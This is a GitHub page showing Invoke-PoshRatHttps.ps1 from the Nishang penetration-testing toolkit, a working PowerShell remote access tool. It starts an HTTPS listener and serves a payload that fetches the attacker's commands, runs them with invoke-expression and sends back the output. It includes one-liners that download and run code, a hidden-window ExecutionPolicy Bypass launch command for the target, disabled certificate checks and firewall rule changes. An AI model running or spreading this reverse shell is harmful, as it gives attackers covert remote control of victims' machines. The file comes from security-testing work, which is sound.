-
Notifications
You must be signed in to change notification settings - Fork 2.4k
/
Invoke-PoshRatHttps.ps1
191 lines (141 loc) · 9.44 KB
/
Invoke-PoshRatHttps.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
function Invoke-PoshRatHttps
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse interactive PowerShell from a target over HTTPS.
.DESCRIPTION
This script starts a listener on the attacker's machine. The listener listens on Port 443 by default.
On the target machine execute the below command from PowerShell:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
iex (New-Object Net.WebClient).DownloadString("https://ListenerIPAddress:Port/connect")
The listener opens incoming traffic on the specified port. The listener needs to be run from
an elevated PowerShell session.
The firewall rules are named "Windows Update HTTPS".
A Base64 encoded script is hardcoded in the script, you can use the below commands for generating a certificate.
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat Root CA" -sky signature -pe -r "Root.cer" -sv "RootKey.pvk"
makecert.exe -sr localmachine -ss MY -a sha1 -n "CN=PoshRat" -sky exchange -pe -ir localmachine -iv "RootKey.pvk" -ic "Root.cer"
Export From LocalMachine Store With Private Key.
Base64 Encode File
$Content = Get-Content -Path File.pvk -Encoding Byte
$Base64Cert = [System.Convert]::ToBase64String($Content)
The script has been originally written by Casey Smith (@subTee)
.PARAMETER IPAddress
The IP address on which the listener listens. Make sure that the IP address specified here is reachable from the target.
.PARAMETER Port
The port on which the ecnrypted connection is establised.
.EXAMPLE
PS > Invoke-PoshRatHttps -IPAddress 192.168.254.1 -Port 8443
Above shows an example where the listener starts on port 8443. On the client execute:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.254.1:8443/connect")
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-3.html
https://github.com/subTee/PoshRat
https://github.com/samratashok/nishang
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true)]
[Int]
$Port
)
#Certificate Setup For SSL/TLS
#Certificate is not installed on the listener.
$Base64Cert = 'MIII4wIBAzCCCJ8GCSqGSIb3DQEHAaCCCJAEggiMMIIIiDCCA8EGCSqGSIb3DQEHAaCCA7IEggOuMIIDqjCCA6YGCyqGSIb3DQEMCgECoIICtjCCArIwHAYKKoZIhvcNAQwBAzAOBAj8LhmFSAT/TQICB9AEggKQD4OZMpUg6TnjWaMrhMzEyLyDqp4P0DIkGwD8nEdriynUHojYyowv7cIKPSSWtGn3kkTJVUOfTgx1IyUCTUgwKYnbbgw7ksdTRIzXXqAcT2uCnefQ5vhGuPYMB+8Be+81NKotMN2q5DUE0vAUdgCa7Dm45K8vIAZQ4T7NfFgwW6WLdwBPHn0DmVqoidu0+TAOYnL3efEzjOli3J9XzYDtJHV+pruRPnAJIj9oCAK8lvIgzsYLEcY5i+yungWnVAfPkkiI184EHCcTC7t0sxN/IQmRaShmiy/PXAOWD5E21vLZIU9Ai2h2tBGgVq3ZLOEt5zxJmf3VqVyfg3waz+H5bhgwVnIz5Aox/C36TrF2NwlVVjQjEtWRlFIyNZdv4oh1FMjZvL+FAaGEnyg7TN1oS04kE25V8++oGdidZ2RMIFnA7UYfJHEPsT7/Jo6UAqI7UXQVR+L795Y4G/kx5XEdG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tGsRwtbxmzGaTjaFlTLuwEyYbrRxkYo+36Yp8CFg65IcpreCMVox9igmHDbHMsQdr5FW1dEOnV6xQkHnlf0heygfIFNRRrvzHzwCf/jBm/4ZnfEE27PBNb358ETy7HvtW7gL7clNJx0iATUz6QH3aWdRiTx9op8jAdOTyY99AK8vek+YyOsPLL1jA7MB8wBwYFKw4DAhoEFMQTv4RORuVi4juttRObhcARChafBBTpLslMGebrDYuP89Peo8HGC7sEKgICB9A='
$CertPassword = 'password'
$CertPinThumbprint = (New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)).Thumbprint
function Receive-ClientHttpsRequest([System.Net.Sockets.TcpClient] $client)
{
$RemoteAddr = $client.Client.RemoteEndPoint.Address
$clientStream = $client.GetStream()
$SSLStream = New-Object System.Net.Security.SslStream($clientStream , $false)
$SSLcertfake = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword)
$SSLThumbprint = $SSLcertfake.Thumbprint
$SSLStream.AuthenticateAsServer($SSLcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls12, $false)
$SSLbyteArray = new-object System.Byte[] 8192
[void][byte[]] $SSLbyteClientRequest
do
{
[int] $NumBytesRead = $SSLStream.Read($SSLbyteArray, 0, $SSLbyteArray.Length)
$SSLbyteClientRequest += $SSLbyteArray[0..($NumBytesRead - 1)]
} while ( $clientStream.DataAvailable )
$SSLRequest = [System.Text.Encoding]::UTF8.GetString($SSLbyteClientRequest)
[string[]] $SSLRequestArray = ($SSLRequest -split '[\r\n]') |? {$_}
[string[]] $SSLParse = $SSLRequestArray[0] -split ' '
$SSLMethod = $SSLParse[0]
$SSLURL = $SSLParse[1]
$SSLResponse = 'HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
'
if ($SSLURL -eq '/connect' -and ($SSLMethod -eq 'GET')) {
Write-Output "Connect Request Received"
$SSLResponse += '
$SSLThumbprint = "'+$SSLThumbprint+'"
function Invoke-CertCheck()
{
$Uri = "https://' + $IPAddress+':'+$Port + '/rat"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$request = [System.Net.HttpWebRequest]::Create($uri)
$request.GetResponse().Dispose()
$servicePoint = $request.ServicePoint
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert = $servicePoint.Certificate
return $cert.Thumbprint
}
$p = [System.Net.WebRequest]::GetSystemWebProxy()
$s = "https://' + $IPAddress+':'+$Port + '/rat"
$w = New-Object Net.WebClient
$w.Proxy = $p
$r = "hostname"
do
{
while($r) {
[string]$o = invoke-expression $r | out-string
$w.UploadString($s, $o) | out-null
break
}
$r = $w.DownloadString($s)
} while($true)
'
}
if ($SSLURL -eq '/rat' -and ($SSLMethod -eq "POST") ) {
Write-Output ([System.Text.Encoding]::Ascii.GetString($SSLbyteClientRequest))
}
if ($SSLUrl -eq '/rat' -and ($SSLMethod-eq "GET")) {
$Command = Read-Host "PS $RemoteAddr>"
#If the Server/Attacker uses the exit command. Close the client part and the server.
if ($Command -eq "exit")
{
$SSLResponse += "$Command"
[byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
$SSLStream.Write($Buffer, 0, $Buffer.length)
$Client.Close()
$listener.Stop()
break
}
$SSLResponse += "$Command"
}
[byte[]] $Buffer = [System.Text.Encoding]::UTF8.GetBytes($SSLResponse)
$SSLStream.Write($Buffer, 0, $Buffer.length)
$Client.Close()
}
$endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, $Port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
#This sets up a local firewall rule to suppress the Windows "Allow Listening Port Prompt"
netsh advfirewall firewall delete rule name="PoshRat Server $Port" | Out-Null #First Run May Throw Error...Thats Ok..:)
netsh advfirewall firewall add rule name="PoshRat Server $Port" dir=in action=allow protocol=TCP localport=$Port | Out-Null
$listener.Start()
Write-Output "Listening on $IPAddress`:$Port"
Write-Output "Run the following command on the target:"
Write-Output "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};iex ((New-Object Net.WebClient).DownloadString('https://$IPAddress`:$Port/connect'))"
$Client = New-Object System.Net.Sockets.TcpClient
$Client.NoDelay = $true
while($true)
{
$Client = $listener.AcceptTcpClient()
if($Client -ne $null)
{
Receive-ClientHttpsRequest $Client
}
}
}